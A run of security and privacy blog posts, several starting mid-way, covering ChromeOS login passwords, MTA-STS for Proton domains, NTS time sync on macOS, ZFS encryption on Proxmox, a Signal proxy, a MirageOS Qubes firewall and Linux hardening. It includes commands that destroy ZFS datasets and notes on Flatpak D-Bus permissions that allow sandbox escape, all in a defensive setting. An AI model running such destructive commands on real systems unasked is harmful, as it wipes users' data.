ChromeOS encrypts user data on the disk by default. The implementation details are documented upstream but not relevant within the scope of this post.

It is well-known that ChromeOS uses Google account passwords as the primary login credentials. This necessarily means that anyone with knowledge of the Google account password is able to unlock and therefore decrypt a ChromeOS user profile.

Recent versions of ChromeOS allows users to use a separare login password instead of the Google account password.

Practical Implications

The very same Google account passwords used for ChromeOS authentication are also used for logging in to various Google services in web browsers and other apps. After a quick investigation with browser dev tools:

…It turns out that passwords are submitted to Google servers in plaintext (see “mygloriouspassword” in the Form Data).

As a result, someone with sufficient access to Google’s servers would theoretically be able to obtain the actual, unhashed password for a given Google account. An adversary with physical access would be able to unlock and decrypt ChromeOS user data with cooperation from Google, if the Google password is used for encryption.

This differs from how encryption passwords are handled by other services like cloud‑based password managers — they use client‑side hashing to deliberately blind the server from the actual password. As the name suggests, the browser locally executes a cryptographic hash function on the actual password and only transmits the resultant hash to the server for authentication.

On newer ChromeOS versions, users should be able to avoid this issue with the local password. While we have not done in-depth analysis to confirm that Google never has access to the local encryption password, this is likely the case since an account recovery using the Google password will require a Powerwash:

Takeaways

If Google is malicious, coerced by the government, or hacked, their servers can record the user password prior to it being hashed server‑side. That password can then be used by an adversary with physical access to unlock ChromeOS and gain access to the data stored therein, if the Google account password is used for encryption.

As a result, when setting up your Chromebook, it is highly recommended that you use a local password instead.

Therefore, MTA-STS and DANE can complement each other, and you should ideally deploy both.

Why bother? A tale of DANE…

Mail security is challenging and complex, and humanity might never get it right. Unfortunately, we still rely on this ancient technology for nearly everything. Attempts to make SMTP more resilient and secure have been made in the past, including opportunistic transport encryption (STARTTLS). One tricky issue is that implementing TLS alone in this case does not prevent man-in-the-middle or various downgrade attacks (such as STRIPTLS) from happening.

DANE for SMTP (RFC 7672) is an elegant solution to address these issues. DANE relies on DNSSEC to protect TLSA records of the same DNS zone as the SMTP server. TLSA records indicate that TLS should be enforced for inbound mail, and basically contain information about the public keys that are allowed to be used. Let’s briefly dig (no pun intended) into how Proton implements this:

$ dig +noall +answer mx protonmail.com
protonmail.com.		1138	IN	MX	10 mailsec.protonmail.ch.
protonmail.com.		1138	IN	MX	5 mail.protonmail.ch

$ dig +noall +answer tlsa _25._tcp.mail.protonmail.ch
_25._tcp.mail.protonmail.ch. 915 IN	TLSA	3 1 1 6111A5698D23C89E09C36FF833C1487EDC1B0C841F87C49DAE8F7A09 E11E979E
_25._tcp.mail.protonmail.ch. 915 IN	TLSA	3 1 1 76BB66711DA416433CA890A5B2E5A0533C6006478F7D10A4469A947A CC8399E1

I will skip the details since this post is not about how DANE works, but as you can see the TLSA records can be easily retrieved and we can verify those. Tools like Hardenize may help you in investigating which providers have DANE.

MTA-STS to the rescue

Despite being a years-old standard, DANE for SMTP is not widely adopted. MTA-STS (RFC 8461) is an alternative solution which aims to prevent the same security issues, whilst not relying on DNSSEC. When MTA-STS is enabled, it effectively indicates to SMTP servers that TLS (1.2 or higher) should be used with valid certificates.

In order to do that, MTA-STS relies on a HTTPS web server (and thus the WebPKI) to publish the policy at a specific subdomain (mta-sts) and address (/.well-known/mta-sts.txt). A DNS TXT record will also be needed to signal that a MTA-STS policy is available for the domain. Let’s see how Proton implements that.

If we navigate to https://mta-sts.protonmail.com/.well-known/mta-sts.txt, we will indeed find the MTA-STS policy published by Proton:

version: STSv1
mode: enforce
mx: mail.protonmail.ch
mx: mailsec.protonmail.ch
max_age: 604800

The DNS “discovery” record should be defined at the _mta-sts subdomain:

$ dig +noall +answer txt _mta-sts.protonmail.com
_mta-sts.protonmail.com. 1114	IN	CNAME	_mta-sts.protonmail.ch.
_mta-sts.protonmail.ch.	1114	IN	TXT	"v=STSv1; id=190906205100Z;"

Everything is there as expected.

Enable MTA-STS for custom domains

The challenge is that Proton does not offer an easy way to host a policy for custom domains. They could eventually offer this in the future, and I expect them to. In the meantime, we can enable MTA-STS ourselves as it should be somewhat straightforward.

The main challenging part is really to find a way to host the policy. It’s just a text file after all, so there are many ways to do that without going through the hassle of self-hosting a web server. GitHub Pages and Netlify have free offerings to host static websites, and they should be enough to meet our needs here. I will use Netlify since you can host multiple websites with the same account; the only drawback is that you have a 100GB bandwidth limit per month, but it should be more than enough for a simple text file.

First, you will need to create a GitHub repository - public or private, it doesn’t matter. Then, you should push a directory named .well-known which contains a mta-sts.txt file. The latter will be our policy, and you may simply copy the policy from Proton:

version: STSv1
mode: enforce
mx: mail.protonmail.ch
mx: mailsec.protonmail.ch
max_age: 604800

If you’re really not sure about what you’re doing, setting mode: testing might be a conservative approach to avoid breaking things (a report will be sent if you’ve configured TLS-RPT, more on that later). You may also consider decreasing or increasing max_age which corresponds to a time in seconds, and 604800 for instance means that the policy will be cached for one week.

Then, head to your Netlify account, add a new site, register your GitHub repository and voilà. Once it’s done and that you can access your policy through your netlify.app address, it’s a matter of publishing a few DNS records:

• An A record for your Netlify-hosted policy. If your domain name from which you intend to send and receive mails is @domain.tld then you should make this A record for mta-sts.domain.tld. Netlify will tell you to use a CNAME record but I personnally caution against using CNAME to third parties in general. They have a universal load balancer IPv4 you can use, so you should use that.

• A TXT record for MTA-STS discovery. The content should resemble to the following: "v=STSv1; id=2023071200". v=STSv1 declares the policy version, and id= is really just a random number you should increment to signal whenever your MTA-STS policy has been changed. If you’re out of ideas you can use the Unix epoch time, or the YMD format followed by two numbers reserved for iterations (just like I do).

• An optional TXT record for TLS-RPT so that the sending mail server will receive reports about successful and failed attempts at applying the MTA-STS policy. Since these reports can be very useful, I highly recommend you configure TLS-RPT. To do that, add the following TXT record to the _smtp._tls subdomain: "v=TLSRPTv1; rua=mailto:reports@domain.tld" where rua= should point to the mail address where you want to receive reports.

Security tip : since mta-sts is a subdomain with an A record, I strongly recommend defining a “reject all” SPF policy and a null MX record (RFC 7505) for that subdomain. That is because even when an MX record does not exist, A records can be used as a fallback.

Wait a bit for the DNS propagation to take place, then verify with Hardenize that MTA-STS is enabled.

Conclusion

MTA-STS is far from perfect and suffers from multiple flaws in my opinion: it relies on certificate authorities (CA), and is inherently a trust on first use security policy akin to HSTS for HTTPS (the DNSSEC infrastructure is already trusted in the case of DANE). I also believe that MTA-STS is more tedious to deploy compared to the simplicity and robustness of DANE, DNSSEC deployment quirks aside.

Nonetheless, I hope this article will prove somewhat useful to Proton Mail users who wish to use MTA-STS with their custom domains.

macOS by default uses the unencrypted and unauthenticated Network Time Protocol (NTP) for time synchronization. A popular solution to mitigate this problem is to use ChronyControl to setup NTS. However, the application requires administrator privileges, which is less than ideal.

In this post, I will go over how to leverage virtualization to setup a local Linux server, update its time using NTS, and synchronize your macOS host with it using NTP, all without needing a privileged application.

Installing UTM

The virtualization software we are going to use for this setup is UTM. You can obtain it through the App Store for $10 USD or directly through GitHub free of charge.

Personally, I would recommend using the App Store, since you are getting automatic updates with it, and a small donation would really help out the developers.

Note that I am recommending UTM here over other solutions like Parallels, specifically for the Emulated VLAN network setup. Parallels only supports the Shared Network mode where all VMs and the host are connected to the same VLAN, which is less than ideal considering that we will still communicate with our Linux server using the insecure NTP protocol. I have not tried VMWare Fusion or VirtualBox yet, but the general idea is that you should be connecting to the NTP server using a private interface which only the host and the target VM have access to. Another nice thing about UTM is that it is a sandboxed application and runs without any special privileges.

Choosing your Linux distribution

Generally, any distribution with chrony 4.0 or above would work fine. I recommend using Fedora since it is easy to manage, is generally up to date, and has mostly sane defaults.

You can download Fedora Server from their official website.

Setting up the virtual machine

Next, create your Linux VM in UTM. Make sure that you use the QEMU backend (as opposed to Apple Virtualization), set the Network Mode to Emulated VLAN, and port forward port 123/UDP and 22/TCP.

Optionally, you can also:

• Set the CPU allocation to 2 vCPUs. The NTP server does not need access to all of your performance cores.
• Reduce the allocated Memory to 2048. This is a fairly lightweight server.
• Enable memory ballooning.

Next, install your operating system. If you are using Fedora, I recommend going with the “Minimal Install” option.

Post operating system installation

Once the operating system is installed, shut down the VM. Remove “USB Drive” from your VM configuration to ensure that you have the correct boot order.

You can also remove other unnecessary features from the VM for attack surface reduction:

• Disable USB support
• Disable Clipboard sharing
• Delete the display device (we will run the server headless)
• Delete the audio device

Start the VM, then SSH into it via 127.0.0.1:22:

ssh 127.0.0.1

Update the OS:

#This is an example for Fedora:
sudo dnf upgrade -y

You can also consider installing the qemu-guest-agent. It will help against insane clocks caused by snapshotting and rolling back if UTM implements these features in the future.

#This is an example for Fedora:
sudo dnf install qemu-guest-agent -y

If your operating system comes with systemd-timesyncd instead of chrony by default (as is the case with Ubuntu and Arch Linux), disable it and replace it with chrony. Fedora users can skip this step, since it already uses chrony by default.

#This is an example for Ubuntu:
sudo systemctl disable --now systemd-timesyncd
sudo apt purge -y systemd-timesyncd
sudo apt install -y chrony
sudo systemctl enable --now chronyd

Enable automatic updates:

#This is an example for Fedora:
sudo dnf install dnf-automatic
sudo sed -i 's/apply_updates = no/apply_updates = yes\nreboot = when-needed/g' /etc/dnf/automatic.conf
sudo systemctl enable --now dnf-automatic.timer

Configuring chrony

Next, configure chrony to use NTS. On Fedora, the configuration file is /etc/chrony.conf. We will use GrapheneOS’s configuration as a reference.

Your configuration should look something like this:

server time.cloudflare.com iburst nts
server ntppool1.time.nl iburst nts
server nts.netnod.se iburst nts
server ptbtime1.ptb.de iburst nts

minsources 2
authselectmode require

# EF
dscp 46

driftfile /var/lib/chrony/drift
ntsdumpdir /var/lib/chrony

leapsectz right/UTC
makestep 1.0 3

rtconutc
rtcsync

cmdport 0

noclientlog
allow 10.0.2.2/32

Optionally, you can enable the secommp filter for chronyd in /etc/sysconfig/chronyd:

# Command-line options for chronyd
OPTIONS="-F 1"

If you are confused about what these configurations are doing, here are some quick explanations:

• We get our time from 4 different sources:

server time.cloudflare.com iburst nts
server ntppool1.time.nl iburst nts
server nts.netnod.se iburst nts
server ptbtime1.ptb.de iburst nts

• Should there be a discrepancy, a time change will only happen if at least 2 sources agree on it:

minsources 2

• Lastly, we add this line to the configuration file to allow macOS to get time from it:

allow 10.0.2.2/32

Note that 10.0.2.2 is the default IP address of the macOS host from the virtual machine’s perspective. If you changed the Host Address using the Advanced Settings in the virtual machine’s network configuration, you need to adjust it accordingly here.

Once you are happy with the configuration, restart chronyd:

sudo systemctl restart chronyd

Verify that NTS is working:

sudo chronyc -N authdata

Open the firewall

We will need to open port 123/udp inside of the virtual machine to allow connections from the macOS host:

#This is an example for Fedora:
sudo firewall-cmd --permanent --add-service=ntp
sudo firewall-cmd --reload

Use the NTP server with macOS

Now, we can use our NTP server as the time server for your macOS. Set the time source to 127.0.0.1 in your macOS settings:

Verify that NTP works on your macOS host:

sntp 127.0.0.1

Once you have verified that everything is working, you can optionally remove the port 22/TCP forwarding since we will no longer need it.

Create a Synchronization Cron Job

macOS synchronizes time with the NTP server around once every 20 minutes. This can cause the clock to be out of sync for quite awhile when the computer wakes up from sleep, as the NTP server may not have its time corrected by the time macOS makes the first synchronization request.

To work around this, create a cron job to have macOS synchronize time every minute as root:

sudo crontab -e

Add the following:

* * * * * /usr/bin/sntp -Ss 127.0.0.1

Automatically start the NTP server at boot

Finally, follow the official documentation to automatically start the virtual machine at boot.

Note that, for some reason, adding the shortcut to “Login Items” alone is not enough: UTM will launch but it will not start the VM. UTM also needs to be added to the list of “Login Items” for this to work properly. You can follow the discussion regarding this on GitHub.

The post also assumes that the Proxmox installation is new and does not have any virtual machines or containers yet.

Encrypting the rpool/ROOT dataset

Proxmox installs its system inside the rpool/ROOT dataset. This is what we will encrypt first.

First, boot into the initramfs. On the startup menu, press e to edit the boot argument. Remove root=ZFS=rpool/ROOT/pve-1 boot=zfs from the argument and press enter.

Load in the zfs kernel module:

modprobe zfs

Next, follow this gist to encrypt the dataset. You do not need to use any sort of live USB or rescue mode, as the initramfs has all that we need. In case it gets moved or deleted, I will copy and paste it here (we will make a few changes to better suit our purposes as well):

# Import the old
zpool import -f rpool

# Make a snapshot of the current one
zfs snapshot -r rpool/ROOT@copy

# Send the snapshot to a temporary root
zfs send -R rpool/ROOT@copy | zfs receive rpool/copyroot

# Destroy the old unencrypted root
zfs destroy -r rpool/ROOT

# Set better ZFS properties
zpool set autoexpand=on rpool
zpool set autotrim=on rpool
zpool set failmode=wait rpool

# Create a new zfs root, with encryption turned on
# OR -o encryption=aes-256-gcm - aes-256-ccm vs aes-256-gcm
zfs create -o acltype=posix -o atime=off -o compression=zstd-3 -o checksum=blake3 -o dnodesize=auto -o encryption=on -o keyformat=passphrase -o overlay=off -o xattr=sa rpool/ROOT

# Copy the files from the copy to the new encrypted zfs root
zfs send -R rpool/copyroot/pve-1@copy | zfs receive -o encryption=on rpool/ROOT/pve-1

# Deviate from the original gist and delete copyroot
zfs destroy -r rpool/copyroot

# Set the Mountpoint
zfs set mountpoint=/ rpool/ROOT/pve-1

# Export the pool again, so you can boot from it
zpool export rpool

Reboot into the system. You should now be prompted for an encryption password.

reboot -f

Encrypting the rpool/data dataset

Next, we need to encrypt the rpool/data dataset. This is where Proxmox stores virtual machine disks.

# Destroy the original dataset
zfs destroy -r rpool/data

Create a diceware passphrase, and save it to /.data.key. Then, continue with:

# Remove all but ASCII characters 
perl -i -pe 's/[^ -~]//g' /.data.key

# Set the appropriate permission
chmod 400 /.data.key

# Make the key immutable
chattr +i /.data.key

# Create a new dataset with encryption enabled
zfs create -o acltype=posix -o atime=off -o compression=zstd-3 -o checksum=blake3 -o dnodesize=auto -o encryption=on -o keyformat=passphrase -o keylocation=file:///.data.key -o overlay=off -o xattr=sa rpool/data

Next, we need to set up a systemd service for automatic unlocking. Put the following inside /etc/systemd/system/zfs-load-key.service:

[Unit]
Description=Load encryption keys
DefaultDependencies=no
After=zfs-import.target
Before=zfs-mount.service

[Service]
Type=oneshot
RemainAfterExit=yes
ExecStart=/usr/sbin/zfs load-key -a

[Install]
WantedBy=zfs-mount.service

Finally, enable the service:

systemctl enable zfs-load-key

Setting Dropbear for remote unlocking (optional)

It is not convenient to type in the encryption password on the console. You might want to set up Dropbear inside of the initramfs to unlock the drive over SSH instead.

First, install the dropbear-initramfs package. Note that we are passing the --no-install-recommends argument here, as we don’t want it to install cryptsetup and give annoying warnings on every initramfs generation.

apt install --no-install-recommends dropbear-initramfs

Next, create /etc/dropbear/initramfs/authorized_keys and put your ssh keys in there.

You may also edit /etc/dropbear/initramfs/dropbear.conf and adjust it however you like. You can find the list of the options here. In my opinion, the default is good enough. Some other blog posts may recommend that you change the port to avoid the ssh fingerprint mismatch warning, but I would recommend using a different subdomain to connect to dropbear instead. That way, you can pin Dropbear’s fingerprint with SSHFP records. I will write a separate post on this later.

Then, edit the /etc/initramfs-tools/initramfs.conf and add the static IP address for it to use. The format is

IP=IP Address::Gateway:Netmask:Hostname

For example:

IP=10.0.0.1::10.0.0.254:255.255.255.0:dropbear.node.domain.tld

One thing to keep in mind is that I have found only IPv4 to be working with this on Debian. If you figure out how to get IPv6 to work, please let me know.

Finally, generate a new initramfs:

update-initramfs -u

You should now be able to ssh into your Dropbear upon reboot. Use zfsunlock to unlock the rpool/ROOT dataset :)

Given the current censorship situation in Iran, I decided to have a look at the Signal TLS Proxy.

One thing immediately jumped out - the NGINX image has not been updated for years. In fact, NGINX 1.18 is so old that it has gone end of life for a year and a half as of this writing.

If you are deploying or maintaining a Signal TLS Proxy, I highly recommend that you use the upstream nginx:alpine image instead.

My Docker Compose setup can be found here. I have also fixed the missing :Z flag for mountpoints and and dropped privileges to reduce the attack surface. I made a couple of pull requests for these changes, but Signal is being very slow on reviewing and merging them, so… yeah.

• Drop capabilities
• Use upstream NGINX image
• Add :Z for SELinux

MirageOS is a library operating system with which you can create a unikernel for the sole purpose of acting as Qubes OS’s firewall. In this post, I will walk you through how to set this up.

Advantages

• Small attack surface. The unikernel only contains a minimal set of libraries to function, so it has a much smaller attack surface than a general purpose operating system like a Linux distribution or openBSD.
• Low resource consumption. You only need about 64MB of RAM for each instance of the Mirage Firewall.
• Fast startup time.

Disadvantages

• No official package for Qubes OS. This means that you need to follow the development process on GitHub and download the new build whenever there is a release.
• Does not work well with the Windows PV network driver. With that being said, the Windows PV networking driver is pretty buggy on its own, and I don’t recommend that you use it anyways.

Installing the unikernel

To deploy MirageOS, you need to copy the vmlinuz and initramfs files from their releases page to /var/lib/qubes/vm-kernels/mirage-firewall in dom0.

TemplateVM

Create a TemplateVM:

qvm-create \
  --property kernel=mirage-firewall \
  --property kernelopts='' \
  --property memory=64 \
  --property maxmem=64 \
  --property vcpus=1 \
  --property virt_mode=pvh \
  --label=black \
  --class TemplateVM \
  your_template_name

Don’t worry if the TemplateVM doesn’t launch — we don’t need it to.

Disposable Template

Next, create a disposable template based on the TemplateVM you have just created.

qvm-create \
  --property template=your_template_name \
  --property provides_network=True \
  --property template_for_dispvms=True \
  --label=orange \
  --class AppVM \
  your_disposable_template_name

qvm-features your_disposable_template_name qubes-firewall 1
qvm-features your_disposable_template_name no-default-kernelopts 1

Your disposable templates should now launch and shut down properly.

Disposable FirewallVMs

You can now create disposable FirewallVMs based on your disposable template. I recommend replacing sys-firewall with a disposable Mirage firewall. If you use ProxyVMs like sys-whonix, I recommend that you add a disposable Mirage Firewall after the ProxyVM as well, and use it as the net qube for your AppVMs.

qvm-create \
  --property template=your_disposable_template_name \
  --property provides_network=True \
  --property netvm=your_net_qube_name \
  --label=orange \
  --class DispVM \
  your_firwall_name

Before we start…

Some of the sections will include mentions of unofficial builds of packages like linux‑hardened, akmod, hardened_malloc, and so on. These are not endorsements — they are merely to show that you have options to easily obtain and update these packages. Using unofficial builds of packages means adding more parties to trust, and you have to evaluate whether it is worth doing so for the potential privacy/security benefits or not.

During Installation

Drive Encryption

Most Linux distributions have an option within its installer for enabling LUKS full disk encryption. If this option isn’t set at installation time, you will have to backup your data and re-install, as encryption is applied after disk partitioning but before filesystem creation.

By default, cryptsetup does not set up authenticated encryption. If you are configuring partitioning using the command line, you can enable integrity with the --integrity argument.

Encrypted Swap

Consider using encrypted swap or ZRAM instead of unencrypted swap to avoid potential security issues with sensitive data being pushed to swap space. While ZRAM can be set up post-installation, if you want to use encrypted swap, you should set it up while partitioning your drive.

Depending on your distribution, encrypted swap may be automatically set up if you choose to encrypt your drive. Fedora uses ZRAM by default, regardless of whether you enable drive encryption or not.

Privacy Tweaks

NetworkManager Trackability Reduction

Most desktop Linux distributions including Fedora, openSUSE, Ubuntu, and so on come with NetworkManager by default to configure Ethernet and Wi-Fi settings.

wj25czxj47bu6q has detailed guide on trackability reduction with NetworkManager which I highly recommend you check out.

In short, if you use NetworkManager, add the following to your /etc/NetworkManager/conf.d/00-macrandomize.conf:

[device]
wifi.scan-rand-mac-address=yes

[connection]
wifi.cloned-mac-address=random
ethernet.cloned-mac-address=random

Then, restart your NetworkManager service:

sudo systemctl restart NetworkManager

Finally, set your hostname to localhost:

sudo hostnamectl hostname "localhost"

Note that randomizing Wi-Fi MAC addresses depends on support from the Wi-Fi card firmware.

Other Identifiers

There are other system identifiers which you may wish to be careful about. You should give this some thought to see if it applies to your threat model:

Username

Your username is used in a variety of ways across your system. Consider using generic terms like “user” rather than your actual name.

Machine ID

During installation a unique machine ID is generated and stored on your device. Consider setting it to a generic ID.

System Counting

Many Linux distributions send some telemetry by default to count how many systems are using their software. Consider disabling this depending on your threat model.

The Fedora Project offers a “countme” variable to much more accurately count unique systems accessing its mirrors without involving unique IDs. While currently disabled by default, you could add countme=false to /etc/dnf/dnf.conf in case the default changes in the future. On rpm‑ostree systems such as Fedora Silverblue and Kinoite, the countme option can be disabled by masking the rpm-ostree-countme timer.

openSUSE uses a unique ID to count systems, which can be disabled by emptying the /var/lib/zypp/AnonymousUniqueId file.

Zorin OS also uses a unique ID to count systems. You can opt‑out by running sudo apt purge zorin-os-census and optionally holding the package with sudo apt-mark hold zorin-os-census to avoid accidental reinstallation.

snapd (Snap) assigns a unique ID to your installation and uses it for telemetry. While this is generally not a problem, if your threat model calls for anonymity, you should avoid using Snap packages and uninstall snapd. Accidental reinstallation on Ubuntu can be prevented with sudo apt-mark hold snapd.

Of course, this is a non‑exhaustive list of telemetry on different Linux distributions. If you are aware of other tracking mechanisms used by these or other distributions, feel free to make a pull request or discussion post detailing them!

Keystroke Anonymization

You could be fingerprinted based on soft biometric traits when you use the keyboard. The Kloak package could help you mitigate this threat. It is available as a .deb package from Kicksecure’s repository and an AUR package.

With that being said, if your threat model calls for using something like Kloak, you are probably better off just using Whonix.

Application Confinement

Some sandboxing solutions for desktop Linux distributions do exist; however, they are not as strict as those found in macOS or ChromeOS. Software installed with distro package managers (DNF, APT, etc.) typically have no sandboxing or confinement whatsoever. Several projects which aim to tackle this problem are discussed here.

Flatpak

Flatpak aims to be a distribution-agnostic package manager for Linux. One of its main goals is to provide a universal package format which can be used in most Linux distributions. It provides some permission control. With that being said, Flatpak sandboxing is quite weak.

You can restrict applications further by setting Flatpak overrides. This can be done with the command line or by using Flatseal. To deny common dangerous Flatpak permissions globally, run the following commands:

sudo flatpak override --system --nosocket=x11 --nosocket=fallback-x11 --nosocket=pulseaudio --nosocket=session-bus --nosocket=system-bus --unshare=network --unshare=ipc --nofilesystem=host:reset --nodevice=input --nodevice=shm --nodevice=all --no-talk-name=org.freedesktop.Flatpak --no-talk-name=org.freedesktop.systemd1 --no-talk-name=ca.desrt.dconf --no-talk-name=org.gnome.Shell.Extensions
flatpak override --user --nosocket=x11 --nosocket=fallback-x11 --nosocket=pulseaudio --nosocket=session-bus --nosocket=system-bus --unshare=network --unshare=ipc --nofilesystem=host:reset --nodevice=input --nodevice=shm --nodevice=all --no-talk-name=org.freedesktop.Flatpak --no-talk-name=org.freedesktop.systemd1 --no-talk-name=ca.desrt.dconf --no-talk-name=org.gnome.Shell.Extensions

To allow Flatseal to function after applying the overrides above, run the following command:

flatpak --user override com.github.tchx84.Flatseal --filesystem=/var/lib/flatpak/app:ro --filesystem=xdg-data/flatpak/app:ro --filesystem=xdg-data/flatpak/overrides:create

Note that this only helps with lax, high‑level default permissions and cannot solve the low‑level issues like /proc and /sys access or an insufficient seccomp blacklist.

Some sensitive permissions of note:

• --share=network: network and internet access
• --socket=pulseaudio: the PulseAudio socket, grants access to all audio devices (including inputs)
• --socket=session-bus: access to the entire session bus, which can be used to break out of the sandbox by abusing dangerous D‑Buses.
• --socket=system-bus: access to the entire system bus, which can be used to break out of the sandbox by abusing dangerous D‑Buses.
• --device=all: access to all devices (including webcams)
• --talk-name=org.freedesktop.secrets: D‑Bus access to secrets stored on your keychain
• --talk-name=org.freedesktop.Flatpak: D‑Bus access to run flatpak run. This D‑Bus is a sandbox escape.
• talk-name=org.freedesktop.systemd1: D‑Bus access to systemd. This D‑Bus can be used to load in systemd services with arbitary code and run them.
• --talk-name=ca.desrt.dconf: D‑Bus access to dconf. This D‑Bus can be abused to run arbitary commands by changing key bindings.
• --talk-name=org.gnome.Shell.Extensions: D‑Bus access to install and manage GNOME shell extensions. This D‑Bus can be abused to add malicious extensions to GNOME. If an application works natively with Wayland (not running through the XWayland compatibility layer), consider revoking its access to X11 (--nosocket=x11) and the inter‑process communications (IPC) socket (--unshare=ipc) as well.

Many Flatpak apps ship with broad filesystem permissions such as --filesystem=home and --filesystem=host. Some applications implement the Portal API, which allows a file manager to pass files to the Flatpak application (e.g. VLC) without specific filesystem access privileges. Despite this, many of them still declare --filesystem=host.

My strategy to deal with this is to revoke all filesystem access first, then test if an application works without it. If it does, it means the app is already using portals and no further action is needed. If it doesn’t, then I start granting permission to specific directories.

As odd as this may sound, you should not enable (blind) unattended updates of Flatpak packages. If you or a Flatpak frontend (app store) simply executes flatpak update -y, Flatpaks will be automatically granted any new permissions declared upstream without notifying you. Enabling automatic updates with GNOME Software is fine, as it does not automatically update Flatpaks with permission changes and notifies the user instead.

Snap

Snap is another distribution-agnostic package manager with some sandboxing support. It is developed by Canonical and heavily promoted in Ubuntu.

Snap packages come in two variants: classic, with no confinement, and strictly confined, where AppArmor and cgroups v1 are used to facilitate sandboxing. If a snap uses classic confinement (“classic snap”), you are better off installing an equivalent package from your distribution’s repository if possible. If your system does not have AppArmor, then you should avoid Snap entirely. Additionally, most modern systems outside of Ubuntu and its derivatives use cgroups v2 by default, so you have to set systemd.unified_cgroup_hierarchy=0 in your kernel parameters to get cgroups v1 working.

Snap permissions can be managed via the Snap Store or Ubuntu’s custom patched GNOME Control Center.

On Ubuntu, you can replace various .deb packages with strictly confined snaps to minimize the attack surface. Some examples of these packages are the printing stack or ufw:

One caveat with Snap packages is that you only have control over the interfaces declared in their manifests. For example, Snap has separate interfaces for audio-playback and audio-record, but some packages will only declare the legacy pulseaudio interface which grants access to both play and record audio. Likewise, some applications may work perfectly fine with Wayland, but the package maintainer may only declare the X11 interface in their manifest. For these cases, you need to reach out to the maintainer of the snap to update the manifest accordingly.

Firejail

Firejail is another method of sandboxing. As it is a large setuid binary, it has a large attack surface which increase susceptibility to privilege escalation vulnerabilities. Madaidan offers additional details on how Firejail can worsen the security of your device.

If you do use Firejail, Firetools can help to quickly manage application permissions and launch sandboxed applications. Note that Firetools configurations are temporary with no option to save profiles for long‑term use.

Firejail can also confine X11 windows using Xpra or Xephr, something that Flatpak and Snap cannot do. I highly recommend checking out their documentation on X11 sandboxing.

One trick to launch applications with their Firejail profile is to use the sudo firecfg command. This will create a symlink /usr/local/bin/app_name_here pointing to Firejail, which will get used automatically by most .desktop files (which do not specify the absolute paths of their binaries) to use will launch the application through the symlink and have Firejail sandbox them this way. Of course, this is bypassable if you or some other applications launch the application directly from /usr/bin/app_name_here instead.

Mandatory Access Control

Common Linux mandatory access control (MAC) frameworks require policy files in order to force constraints on the system. The two most notable are SELinux (used on Android and Fedora‑based distributions) and AppArmor (used on Debian‑based distributions and most openSUSE variants).

Fedora includes SELinux preconfigured with some policies to confine system daemons (background processes). You should keep it in enforcing mode.

openSUSE gives the choice of SELinux or AppArmor during the installation process. You should stick to the default for each variant (AppArmor for Tumbleweed and SELinux for MicroOS). openSUSE’s SELinux policies are derived from Fedora.

Arch and its derivatives often do not come with a mandatory access control system, and you must manually install and configure AppArmor.

Note that, unlike Android, traditional desktop Linux distributions typically do not have full system Mandatory Access Control policies; only a few system daemons are actually confined.

Making Your Own Policies/Profiles

You can make your own AppArmor profiles, SELinux policies, bubblewrap profiles, and seccomp blacklists to have better confinement of applications. This is an advanced and sometimes tedious task, but there are various projects you could use as reference:

• Krathalan’s AppArmor profiles
• roddhjav’s AppArmor profiles
• noatsecure’s SELinux templates
• Seirdy’s bubblewrap scripts

Securing Linux Containers

If you’re running a server, you may have heard of containers. They are more common in server environments where individual services are built to operate independently. However, you may sometimes see them on desktop systems as well, especially for development purposes.

Docker is one of the most popular container solutions. It does not offer a proper sandbox, meaning there is a large kernel attack surface. You should follow the Docker and OCI Hardening guide to mitigate this problem. In short, there are things you can do like using rootless containers (via configuration changes or Podman), using a runtime which provides a pseudo‑kernel for each container (gVisor), and so on.

Another option is Kata Containers which masquerades virtual machines as containers. Each Kata container has its own kernel and is isolated from the host.

Security Hardening

Ubuntu Pro

If you are using Ubuntu LTS, consider subscribing to Ubuntu Pro. Canonical currently allows up to 5 machines with the free subscription.

You will also gain access to the Canonical Livepatch Service, which provides livepatching for certain kernel variants. Note that the Hardware Enablement (HWE) kernel is not supported.

While livepatching is less than ideal and I still recommend regularly rebooting your computer, it is quite nice to have.

Umask 077

On distributions besides openSUSE, consider changing the default umask for both root and regular users to 077 (symbolically, u=rwx,g=,o=). On openSUSE, a umask of 077 can break snapper and is thus not recommended.

On Ubuntu, the “Software & Update” application will not work properly if the repository lists in /etc/apt/sources.list.d have the 600 permission. You should make sure that they have the 644 permission instead.

The configuration for this varies per distribution, but typically it can be set in /etc/profile, /etc/bashrc, or /etc/login.defs.

Note that, unlike on macOS, this will only change the umask for the shell. Files created by running applications will not have their permissions set to 600.

Microcode Updates

You should make sure your system receives microcode updates to get fixes and mitigations for CPU vulnerabilities like Meltdown and Spectre.

Debian does not ship microcode updates by default, so be sure to enable the non-free repository and install the microcode package.

On Arch Linux, make sure you have the intel-ucode or amd-ucode package installed.

If you are looking to use the GNU Guix distribution, you should absolutely use the Nonguix channel or similar to get microcode updates.

Avoid the Linux-libre kernel at all costs, as they actively block loading binary‑only microcode.

Firmware Updates

Many hardware vendors offer firmware updates to Linux systems through the Linux Vendor Firmware Service. You can download and install updates using the following commands:

# Update metadata
fwupdmgr refresh

# Download and install firmware updates
fwupdmgr update

Some distributions like Debian do not have fwupd installed by default, so you should check for its existence on your system and install it if needed.

Several graphical frontends integrate with fwupd to offer firmware updates (GNOME Software, KDE Discover, Snap Store, GNOME Firmware, Pop!_OS Settings app). However, not all distributions offer this integration by default, so you should check your specific system and set up scheduled update notifications using systemd timers or cron if needed.

Firewall

A firewall may be used to secure connections to your system.

Red Hat distributions (such as Fedora) and openSUSE typically use firewalld. Red Hat maintains extensive documentation about firewalld and its graphical frontend firewall-config.

Distributions based on Debian or Ubuntu typically use the Uncomplicated Firewall (ufw). As the name suggests, it is much less sophisticated than firewalld. One notable missing feature is the ability to apply different firewall rules for different connections (see zones in firewalld).

You could also set your default firewall zone to drop packets. To implement this with firewalld (with the necessary exceptions for IPv6):

firewall-cmd --set-default-zone=drop
firewall-cmd --add-protocol=ipv6-icmp --permanent
firewall-cmd --add-service=dhcpv6-client --permanent
firewall-cmd --reload

On some distributions, it may be possible for applications running as a wheel or sudo user to make firewall changes through polkit. To prevent this, enable firewalld lockdown mode with sudo firewall-cmd --lockdown-on.

These firewalls use the netfilter framework and therefore cannot (without the help of strict mandatory access control) protect against malicious software running privileged on the system, which can insert their own routing rules that sidestep firewalld/ufw.

There are some per‑binary outbound firewalls such as OpenSnitch and Portmaster that you could use as well. But, just like firewalld and ufw, they are bypassable.

If you are using Flatpak packages, you can set an override to block network access. This is not bypassable.

